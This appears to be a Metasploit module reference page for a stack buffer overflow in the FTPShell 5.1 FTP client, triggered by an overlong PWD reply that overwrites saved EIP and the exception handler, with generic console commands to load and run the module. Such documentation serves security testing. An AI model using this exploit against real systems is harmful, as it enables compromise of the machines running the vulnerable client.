This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets triggered when the ftp client tries to process an overly long response to a PWD command. This will overwrite the saved EIP and structured exception handler.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ftp/ftpshell51_pwd_reply
msf exploit(ftpshell51_pwd_reply) > show targets
...targets...
msf exploit(ftpshell51_pwd_reply) > set TARGET < target-id >
msf exploit(ftpshell51_pwd_reply) > show options
...show and set options...
msf exploit(ftpshell51_pwd_reply) > exploit
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